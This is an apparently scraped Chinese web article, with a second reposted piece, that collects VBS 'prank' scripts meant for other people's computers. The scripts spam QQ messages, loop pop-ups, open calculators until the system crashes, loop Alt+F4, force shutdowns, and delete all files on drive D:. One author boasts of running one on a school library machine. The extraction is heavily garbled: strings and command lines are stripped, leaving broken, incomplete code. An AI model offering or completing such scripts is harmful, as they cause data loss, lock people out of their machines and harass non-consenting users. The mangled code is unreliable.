整人代码大集合-多年的代码收集
萌到你眼炸
637次浏览
2021年01月25日 09:01
最佳经验
本文由作者推荐
金星人的挫折-
vbs
整人代码大集合
多年的代码收集
详细出处参考：
vbs
整人代码大集合，收集的比较全，喜欢的朋友可以参 考下。不要搞破坏，学习
vbs
的朋
友非常有帮助，死循环的使用比较多。
一、
你打开好友的聊天对话框
,
然后记下在你
里好友的 昵称
,
把下面代码里的
xx
替换一下
,
就可以自定义发送< br>QQ
信息到好友的次数
(
代码里的数字
10
改一下即可
).
=>
复制代码
代码如下
:
On Error Resume Next
Dim wsh,ye
set wsh=createobject(
for i=1 to 10
700
ivate(
与
xx
聊天中
ys
ys i
ys
next
骚扰信息
,
也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
---------------------------------------------- --------------------------------
do
msgbox
loop
---------------- -------------------------------------------------- ------------
三、打开无数个计算器，直到死机
------------------------------------------------- -----------------------------
set wsh=createobject(
do
loop
-------------------------------- ---------------------------------------------
四、直接关机
-------------------------- -------------------------------------------------- -
dim WSHshell
set WSHshell = object(
------------------------ -------------------------------------------------- ---
五、删除
D:
所有文件
----- -------------------------------------------------- --------------------
dim WSHshell
set WSHshell = object(
----- -------------------------------------------------- ---------------------
六、不断弹出窗口
< br>----------------------------------------------- -----------------------------
复制代码
代码如下
:
while(1)
msgbox
哈哈
你被耍了！
loop
------------------------------------------------ ----------------------------
七、不断按下
alt+f4
（开什么都关闭……）
- -------------------------------------------------- ------------------------
复制代码
代码如下
:
dim WSHshell
set WSHshell = object(
while(1)
ys
loop
八、按
500
次回车
(
以上代码在运行者的电脑上显示
500
个对话框。其中
do until s=500
，
500
可以随意更改
)
复制代码
代码如下
:
dim s
do until s=500
s=s+1
msgbox
哥们，给我按
500
次回车吧
loop
'------------------------ -------------------- ----------------------------------------
九、关不掉的窗口
复制代码
代码如下
:
(
嘿，谢谢你打开我哦，我等你很久拉！
(
你是可爱的小朋吗
?
(
哈
,
我想你拉，这你都不知道吗？
(
怎么才来，说
~
是不是不关心我
(
哼
,
我生气拉，等你这么久，心都凉啦。
(
小强很生气，后果很严重哦。
(
嘿嘿！你也会很惨滴哦
(
是不是想清除我？
(
那你要点上
50
下哦，不过会给你惊喜滴
(
还剩
49
下，快点点哦
(
还剩
48
下，快点，小笨蛋！
(
还剩
47
下对，就这样快点点！
(
还剩
46
下。你啊就是笨，要快哦，我先不打扰你工作。
(
还剩
45
下，记得要快哦！
(
还剩
43
下
(
还剩
42
下
(
还剩
41
下
(
还剩
40
下
(
还剩
39
下
(
还剩
38
下
(
还剩
37
下
(
还剩
36
下
(
还剩
35
下
(
还剩
34
下
(
还剩
33
下
(
还剩
32
下
(
还剩
30
下
(
还剩
29
下
(
还剩
28
下
(
还剩
27
下
(
还剩
26
下
(
还剩
25
下
(
还剩
24
下
(
还剩
23
下
(
还剩
22
下
(
还剩
21
下
(
还剩
20
下
(
还剩
19
下
(
还剩
18
下
(
还剩
17
下
(
还剩
16
下
(
还剩
15
下
(
还剩
14
下
(
还剩
13下停停！
！
！慢点，我有话要说
(
还剩
12
下，你继续点我就会消失滴
(
还剩
11
下，以后就看不到我拉。
555555
(
还剩
10
下，你现在可以选择停止！
(
还剩
9
下。你还点啊，不要我拉？
(
还剩
8
下，有点伤心拉，干嘛丢弃人家
(
还剩
7
下。疯了，你有点负意！
(
还剩
6
下。对。你就点吧，我恨你！
(
还剩
5
下，不明白，删除我你就好吗？
(
还剩
4
下！真要删除我？
(
还剩
3
下。可是我真的很眷恋你。
。
。
(
还剩
2
下。不要这么绝情嘛，人家是爱你的！
(
还剩
1
下。哼，既然你这么绝情。也别怪我无义！
！
！
< br>
(
我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。
(
想结素我么
?
那你就再多点一次
(
想结素我么
?
那你就再多点一次
(
想结素我么
?
那你就再多点一次
(
想结素我么
?
那你就再多点一次
(
想结素我么
?
那你就再多点一次
(
想结素我么
?
那你就再多点一次
(
想结素我么
?
那你就再多点一次
(
想结素我么
?
那你就再多点一次
(
想结素我么
?
那你就再多点一次
(
想结素我么
?
那你就再多点一次
两个整人的
VBS
脚本
2009-07-16 18:16
文章录入：
责任编辑：
564
【字体：小
大】
测试环境：
Windows 2003
系统
大家好
我是
Vanlisa QQ137841986
今天给大家带来两个整人的
VBS
脚本
希望大家喜欢
VBS
脚本大家都知道吧
第一个是定时关机的
如果把他发给你的
好友
他不懂的话
如果不输我是猪
电脑就会在你设定的
时间内关机
我设置的是
3
分钟
只要输入就解除了
当然如果不输的话也有解除的办法
我们来看下这个脚本
复制代码
代码如下
:
on error resume next
dim WSHshellA
set WSHshellA = object(
说我是猪，不说我是猪就一分钟关机，不
信，试下·
·
·
dim a
do while(a <>
我是猪
a = inputbox (
说我是猪
,
就不关机，快撒，说
我是猪
说不说
msgbox chr(13) + chr(13) + chr(13) + a,0,
loop
msgbox chr(13) + chr(13) + chr(13) +
早说就行了嘛
dim WSHshell
set WSHshell = object(
msgbox chr(13) + chr(13) + chr(13) +
哈哈哈哈，好乖
新建一个记事本
把上面的代码复制进去
另存为
VBE
格式的就可以了
/c shutdown -r -t 180 -c
这里的数字可以修改关机时间
180
秒